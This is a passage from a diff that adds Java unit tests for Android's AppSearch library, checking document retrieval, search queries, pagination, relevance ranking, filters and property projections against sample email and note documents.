+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email1, email2)
+                                .build()));
+
+        // Get with type property paths {"Email", ["subject", "to"]}
+        GetByUriRequest request =
+                new GetByUriRequest.Builder("namespace")
+                        .addUris("uri1", "uri2")
+                        .addProjection("NonExistentType", Collections.emptyList())
+                        .addProjection(
+                                AppSearchEmail.SCHEMA_TYPE, ImmutableList.of("subject", "to"))
+                        .build();
+        List<GenericDocument> outDocuments = doGet(mDb1, request);
+
+        // The two email documents should have been returned with only the "subject" and "to"
+        // properties.
+        AppSearchEmail expected1 =
+                new AppSearchEmail.Builder("namespace", "uri2")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        AppSearchEmail expected2 =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        assertThat(outDocuments).containsExactly(expected1, expected2);
+    }
+
+    @Test
+    public void testGetDocuments_wildcardProjection() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("namespace", "uri2")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email1, email2)
+                                .build()));
+
+        // Get with type property paths {"Email", ["subject", "to"]}
+        GetByUriRequest request =
+                new GetByUriRequest.Builder("namespace")
+                        .addUris("uri1", "uri2")
+                        .addProjection(
+                                GetByUriRequest.PROJECTION_SCHEMA_TYPE_WILDCARD,
+                                ImmutableList.of("subject", "to"))
+                        .build();
+        List<GenericDocument> outDocuments = doGet(mDb1, request);
+
+        // The two email documents should have been returned with only the "subject" and "to"
+        // properties.
+        AppSearchEmail expected1 =
+                new AppSearchEmail.Builder("namespace", "uri2")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        AppSearchEmail expected2 =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        assertThat(outDocuments).containsExactly(expected1, expected2);
+    }
+
+    @Test
+    public void testGetDocuments_wildcardProjectionEmpty() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("namespace", "uri2")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email1, email2)
+                                .build()));
+
+        // Get with type property paths {"Email", ["subject", "to"]}
+        GetByUriRequest request =
+                new GetByUriRequest.Builder("namespace")
+                        .addUris("uri1", "uri2")
+                        .addProjection(
+                                GetByUriRequest.PROJECTION_SCHEMA_TYPE_WILDCARD,
+                                Collections.emptyList())
+                        .build();
+        List<GenericDocument> outDocuments = doGet(mDb1, request);
+
+        // The two email documents should have been returned without any properties.
+        AppSearchEmail expected1 =
+                new AppSearchEmail.Builder("namespace", "uri2")
+                        .setCreationTimestampMillis(1000)
+                        .build();
+        AppSearchEmail expected2 =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setCreationTimestampMillis(1000)
+                        .build();
+        assertThat(outDocuments).containsExactly(expected1, expected2);
+    }
+
+    @Test
+    public void testGetDocuments_wildcardProjectionNonExistentType() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("namespace", "uri2")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email1, email2)
+                                .build()));
+
+        // Get with type property paths {"Email", ["subject", "to"]}
+        GetByUriRequest request =
+                new GetByUriRequest.Builder("namespace")
+                        .addUris("uri1", "uri2")
+                        .addProjection("NonExistentType", Collections.emptyList())
+                        .addProjection(
+                                GetByUriRequest.PROJECTION_SCHEMA_TYPE_WILDCARD,
+                                ImmutableList.of("subject", "to"))
+                        .build();
+        List<GenericDocument> outDocuments = doGet(mDb1, request);
+
+        // The two email documents should have been returned with only the "subject" and "to"
+        // properties.
+        AppSearchEmail expected1 =
+                new AppSearchEmail.Builder("namespace", "uri2")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        AppSearchEmail expected2 =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        assertThat(outDocuments).containsExactly(expected1, expected2);
+    }
+
+    @Test
+    public void testQuery() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index a document
+        AppSearchEmail inEmail =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(inEmail).build()));
+
+        // Query for the document
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).hasSize(1);
+        assertThat(documents.get(0)).isEqualTo(inEmail);
+
+        // Multi-term query
+        searchResults =
+                mDb1.search(
+                        "body email",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).hasSize(1);
+        assertThat(documents.get(0)).isEqualTo(inEmail);
+    }
+
+    @Test
+    public void testQuery_getNextPage() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+        Set<AppSearchEmail> emailSet = new HashSet<>();
+        PutDocumentsRequest.Builder putDocumentsRequestBuilder = new PutDocumentsRequest.Builder();
+        // Index 31 documents
+        for (int i = 0; i < 31; i++) {
+            AppSearchEmail inEmail =
+                    new AppSearchEmail.Builder("namespace", "uri" + i)
+                            .setFrom("from@example.com")
+                            .setTo("to1@example.com", "to2@example.com")
+                            .setSubject("testPut example")
+                            .setBody("This is the body of the testPut email")
+                            .build();
+            emailSet.add(inEmail);
+            putDocumentsRequestBuilder.addGenericDocuments(inEmail);
+        }
+        checkIsBatchResultSuccess(mDb1.put(putDocumentsRequestBuilder.build()));
+
+        // Set number of results per page is 7.
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .setResultCountPerPage(7)
+                                .build());
+        List<GenericDocument> documents = new ArrayList<>();
+
+        int pageNumber = 0;
+        List<SearchResult> results;
+
+        // keep loading next page until it's empty.
+        do {
+            results = searchResults.getNextPage().get();
+            ++pageNumber;
+            for (SearchResult result : results) {
+                documents.add(result.getGenericDocument());
+            }
+        } while (results.size() > 0);
+
+        // check all document presents
+        assertThat(documents).containsExactlyElementsIn(emailSet);
+        assertThat(pageNumber).isEqualTo(6); // 5 (upper(31/7)) + 1 (final empty page)
+    }
+
+    @Test
+    public void testQuery_relevanceScoring() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("Mary had a little lamb")
+                        .setBody("A little lamb, little lamb")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("namespace", "uri2")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("I'm a little teapot")
+                        .setBody("short and stout. Here is my handle, here is my spout.")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email1, email2)
+                                .build()));
+
+        // Query for "little". It should match both emails.
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "little",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .setRankingStrategy(SearchSpec.RANKING_STRATEGY_RELEVANCE_SCORE)
+                                .build());
+        List<SearchResult> results = retrieveAllSearchResults(searchResults);
+
+        // The email1 should be ranked higher because 'little' appears three times in email1 and
+        // only once in email2.
+        assertThat(results).hasSize(2);
+        assertThat(results.get(0).getGenericDocument()).isEqualTo(email1);
+        assertThat(results.get(0).getRankingSignal())
+                .isGreaterThan(results.get(1).getRankingSignal());
+        assertThat(results.get(1).getGenericDocument()).isEqualTo(email2);
+        assertThat(results.get(1).getRankingSignal()).isGreaterThan(0);
+
+        // Query for "little OR stout". It should match both emails.
+        searchResults =
+                mDb1.search(
+                        "little OR stout",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .setRankingStrategy(SearchSpec.RANKING_STRATEGY_RELEVANCE_SCORE)
+                                .build());
+        results = retrieveAllSearchResults(searchResults);
+
+        // The email2 should be ranked higher because 'little' appears once and "stout", which is a
+        // rarer term, appears once. email1 only has the three 'little' appearances.
+        assertThat(results).hasSize(2);
+        assertThat(results.get(0).getGenericDocument()).isEqualTo(email2);
+        assertThat(results.get(0).getRankingSignal())
+                .isGreaterThan(results.get(1).getRankingSignal());
+        assertThat(results.get(1).getGenericDocument()).isEqualTo(email1);
+        assertThat(results.get(1).getRankingSignal()).isGreaterThan(0);
+    }
+
+    @Test
+    public void testQuery_typeFilter() throws Exception {
+        // Schema registration
+        AppSearchSchema genericSchema =
+                new AppSearchSchema.Builder("Generic")
+                        .addProperty(
+                                new StringPropertyConfig.Builder("foo")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .build())
+                        .build();
+        mDb1.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(AppSearchEmail.SCHEMA)
+                                .addSchemas(genericSchema)
+                                .build())
+                .get();
+
+        // Index a document
+        AppSearchEmail inEmail =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        GenericDocument inDoc =
+                new GenericDocument.Builder<>("namespace", "uri2", "Generic")
+                        .setPropertyString("foo", "body")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(inEmail, inDoc)
+                                .build()));
+
+        // Query for the documents
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).hasSize(2);
+        assertThat(documents).containsExactly(inEmail, inDoc);
+
+        // Query only for Document
+        searchResults =
+                mDb1.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .addFilterSchemas(
+                                        "Generic",
+                                        "Generic") // duplicate type in filter won't matter.
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).hasSize(1);
+        assertThat(documents).containsExactly(inDoc);
+    }
+
+    @Test
+    public void testQuery_packageFilter() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("foo")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(email).build()));
+
+        // Query for the document within our package
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "foo",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addFilterPackageNames(
+                                        ApplicationProvider.getApplicationContext()
+                                                .getPackageName())
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).containsExactly(email);
+
+        // Query for the document in some other package, which won't exist
+        searchResults =
+                mDb1.search(
+                        "foo",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addFilterPackageNames("some.other.package")
+                                .build());
+        List<SearchResult> results = searchResults.getNextPage().get();
+        assertThat(results).isEmpty();
+    }
+
+    @Test
+    public void testQuery_namespaceFilter() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail expectedEmail =
+                new AppSearchEmail.Builder("expectedNamespace", "uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail unexpectedEmail =
+                new AppSearchEmail.Builder("unexpectedNamespace", "uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(expectedEmail, unexpectedEmail)
+                                .build()));
+
+        // Query for all namespaces
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).hasSize(2);
+        assertThat(documents).containsExactly(expectedEmail, unexpectedEmail);
+
+        // Query only for expectedNamespace
+        searchResults =
+                mDb1.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .addFilterNamespaces("expectedNamespace")
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).hasSize(1);
+        assertThat(documents).containsExactly(expectedEmail);
+    }
+
+    @Test
+    public void testQuery_getPackageName() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index a document
+        AppSearchEmail inEmail =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(inEmail).build()));
+
+        // Query for the document
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+
+        List<SearchResult> results;
+        List<GenericDocument> documents = new ArrayList<>();
+        // keep loading next page until it's empty.
+        do {
+            results = searchResults.getNextPage().get();
+            for (SearchResult result : results) {
+                assertThat(result.getGenericDocument()).isEqualTo(inEmail);
+                assertThat(result.getPackageName())
+                        .isEqualTo(ApplicationProvider.getApplicationContext().getPackageName());
+                documents.add(result.getGenericDocument());
+            }
+        } while (results.size() > 0);
+        assertThat(documents).hasSize(1);
+    }
+
+    @Test
+    public void testQuery_getDatabaseName() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index a document
+        AppSearchEmail inEmail =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(inEmail).build()));
+
+        // Query for the document
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+
+        List<SearchResult> results;
+        List<GenericDocument> documents = new ArrayList<>();
+        // keep loading next page until it's empty.
+        do {
+            results = searchResults.getNextPage().get();
+            for (SearchResult result : results) {
+                assertThat(result.getGenericDocument()).isEqualTo(inEmail);
+                assertThat(result.getDatabaseName()).isEqualTo(DB_NAME_1);
+                documents.add(result.getGenericDocument());
+            }
+        } while (results.size() > 0);
+        assertThat(documents).hasSize(1);
+
+        // Schema registration for another database
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        checkIsBatchResultSuccess(
+                mDb2.put(new PutDocumentsRequest.Builder().addGenericDocuments(inEmail).build()));
+
+        // Query for the document
+        searchResults =
+                mDb2.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+
+        documents = new ArrayList<>();
+        // keep loading next page until it's empty.
+        do {
+            results = searchResults.getNextPage().get();
+            for (SearchResult result : results) {
+                assertThat(result.getGenericDocument()).isEqualTo(inEmail);
+                assertThat(result.getDatabaseName()).isEqualTo(DB_NAME_2);
+                documents.add(result.getGenericDocument());
+            }
+        } while (results.size() > 0);
+        assertThat(documents).hasSize(1);
+    }
+
+    @Test
+    public void testQuery_projection() throws Exception {
+        // Schema registration
+        mDb1.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(AppSearchEmail.SCHEMA)
+                                .addSchemas(
+                                        new AppSearchSchema.Builder("Note")
+                                                .addProperty(
+                                                        new StringPropertyConfig.Builder("title")
+                                                                .setCardinality(
+                                                                        PropertyConfig
+                                                                                .CARDINALITY_REQUIRED)
+                                                                .setIndexingType(
+                                                                        StringPropertyConfig
+                                                                                .INDEXING_TYPE_EXACT_TERMS)
+                                                                .setTokenizerType(
+                                                                        StringPropertyConfig
+                                                                                .TOKENIZER_TYPE_PLAIN)
+                                                                .build())
+                                                .addProperty(
+                                                        new StringPropertyConfig.Builder("body")
+                                                                .setCardinality(
+                                                                        PropertyConfig
+                                                                                .CARDINALITY_REQUIRED)
+                                                                .setIndexingType(
+                                                                        StringPropertyConfig
+                                                                                .INDEXING_TYPE_EXACT_TERMS)
+                                                                .setTokenizerType(
+                                                                        StringPropertyConfig
+                                                                                .TOKENIZER_TYPE_PLAIN)
+                                                                .build())
+                                                .build())
+                                .build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail email =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        GenericDocument note =
+                new GenericDocument.Builder<>("namespace", "uri2", "Note")
+                        .setCreationTimestampMillis(1000)
+                        .setPropertyString("title", "Note title")
+                        .setPropertyString("body", "Note body")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email, note)
+                                .build()));
+
+        // Query with type property paths {"Email", ["body", "to"]}
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addProjection(
+                                        AppSearchEmail.SCHEMA_TYPE, ImmutableList.of("body", "to"))
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+
+        // The email document should have been returned with only the "body" and "to"
+        // properties. The note document should have been returned with all of its properties.
+        AppSearchEmail expectedEmail =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        GenericDocument expectedNote =
+                new GenericDocument.Builder<>("namespace", "uri2", "Note")
+                        .setCreationTimestampMillis(1000)
+                        .setPropertyString("title", "Note title")
+                        .setPropertyString("body", "Note body")
+                        .build();
+        assertThat(documents).containsExactly(expectedNote, expectedEmail);
+    }
+
+    @Test
+    public void testQuery_projectionEmpty() throws Exception {
+        // Schema registration
+        mDb1.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(AppSearchEmail.SCHEMA)
+                                .addSchemas(
+                                        new AppSearchSchema.Builder("Note")
+                                                .addProperty(
+                                                        new StringPropertyConfig.Builder("title")
+                                                                .setCardinality(
+                                                                        PropertyConfig
+                                                                                .CARDINALITY_REQUIRED)
+                                                                .setIndexingType(
+                                                                        StringPropertyConfig
+                                                                                .INDEXING_TYPE_EXACT_TERMS)
+                                                                .setTokenizerType(
+                                                                        StringPropertyConfig
+                                                                                .TOKENIZER_TYPE_PLAIN)
+                                                                .build())
+                                                .addProperty(
+                                                        new StringPropertyConfig.Builder("body")
+                                                                .setCardinality(
+                                                                        PropertyConfig
+                                                                                .CARDINALITY_REQUIRED)
+                                                                .setIndexingType(
+                                                                        StringPropertyConfig
+                                                                                .INDEXING_TYPE_EXACT_TERMS)
+                                                                .setTokenizerType(
+                                                                        StringPropertyConfig
+                                                                                .TOKENIZER_TYPE_PLAIN)
+                                                                .build())
+                                                .build())
+                                .build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail email =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        GenericDocument note =
+                new GenericDocument.Builder<>("namespace", "uri2", "Note")
+                        .setCreationTimestampMillis(1000)
+                        .setPropertyString("title", "Note title")
+                        .setPropertyString("body", "Note body")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email, note)
+                                .build()));
+
+        // Query with type property paths {"Email", []}
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addProjection(AppSearchEmail.SCHEMA_TYPE, Collections.emptyList())
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+
+        // The email document should have been returned without any properties. The note document
+        // should have been returned with all of its properties.
+        AppSearchEmail expectedEmail =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setCreationTimestampMillis(1000)
+                        .build();
+        GenericDocument expectedNote =
+                new GenericDocument.Builder<>("namespace", "uri2", "Note")
+                        .setCreationTimestampMillis(1000)
+                        .setPropertyString("title", "Note title")
+                        .setPropertyString("body", "Note body")
+                        .build();
+        assertThat(documents).containsExactly(expectedNote, expectedEmail);
+    }
+
+    @Test
+    public void testQuery_projectionNonExistentType() throws Exception {
+        // Schema registration
+        mDb1.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(AppSearchEmail.SCHEMA)
+                                .addSchemas(
+                                        new AppSearchSchema.Builder("Note")
+                                                .addProperty(
+                                                        new StringPropertyConfig.Builder("title")
+                                                                .setCardinality(
+                                                                        PropertyConfig
+                                                                                .CARDINALITY_REQUIRED)
+                                                                .setIndexingType(
+                                                                        StringPropertyConfig
+                                                                                .INDEXING_TYPE_EXACT_TERMS)
+                                                                .setTokenizerType(
+                                                                        StringPropertyConfig
+                                                                                .TOKENIZER_TYPE_PLAIN)
+                                                                .build())
+                                                .addProperty(
+                                                        new StringPropertyConfig.Builder("body")
+                                                                .setCardinality(
+                                                                        PropertyConfig
+                                                                                .CARDINALITY_REQUIRED)
+                                                                .setIndexingType(
+                                                                        StringPropertyConfig
+                                                                                .INDEXING_TYPE_EXACT_TERMS)
+                                                                .setTokenizerType(
+                                                                        StringPropertyConfig
+                                                                                .TOKENIZER_TYPE_PLAIN)
+                                                                .build())
+                                                .build())
+                                .build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail email =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        GenericDocument note =
+                new GenericDocument.Builder<>("namespace", "uri2", "Note")
+                        .setCreationTimestampMillis(1000)
+                        .setPropertyString("title", "Note title")
+                        .setPropertyString("body", "Note body")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email, note)
+                                .build()));
+
+        // Query with type property paths {"NonExistentType", []}, {"Email", ["body", "to"]}
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addProjection("NonExistentType", Collections.emptyList())
+                                .addProjection(
+                                        AppSearchEmail.SCHEMA_TYPE, ImmutableList.of("body", "to"))
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+
+        // The email document should have been returned with only the "body" and "to" properties.
+        // The note document should have been returned with all of its properties.
+        AppSearchEmail expectedEmail =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        GenericDocument expectedNote =
+                new GenericDocument.Builder<>("namespace", "uri2", "Note")
+                        .setCreationTimestampMillis(1000)
+                        .setPropertyString("title", "Note title")
+                        .setPropertyString("body", "Note body")
+                        .build();
+        assertThat(documents).containsExactly(expectedNote, expectedEmail);
+    }
+
+    @Test
+    public void testQuery_wildcardProjection() throws Exception {
+        // Schema registration
+        mDb1.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(AppSearchEmail.SCHEMA)
+                                .addSchemas(
+                                        new AppSearchSchema.Builder("Note")
+                                                .addProperty(
+                                                        new StringPropertyConfig.Builder("title")
+                                                                .setCardinality(
+                                                                        PropertyConfig
+                                                                                .CARDINALITY_REQUIRED)
+                                                                .setIndexingType(
+                                                                        StringPropertyConfig
+                                                                                .INDEXING_TYPE_EXACT_TERMS)
+                                                                .setTokenizerType(
+                                                                        StringPropertyConfig
+                                                                                .TOKENIZER_TYPE_PLAIN)
+                                                                .build())
+                                                .addProperty(
+                                                        new StringPropertyConfig.Builder("body")
+                                                                .setCardinality(
+                                                                        PropertyConfig
+                                                                                .CARDINALITY_REQUIRED)
+                                                                .setIndexingType(
+                                                                        StringPropertyConfig
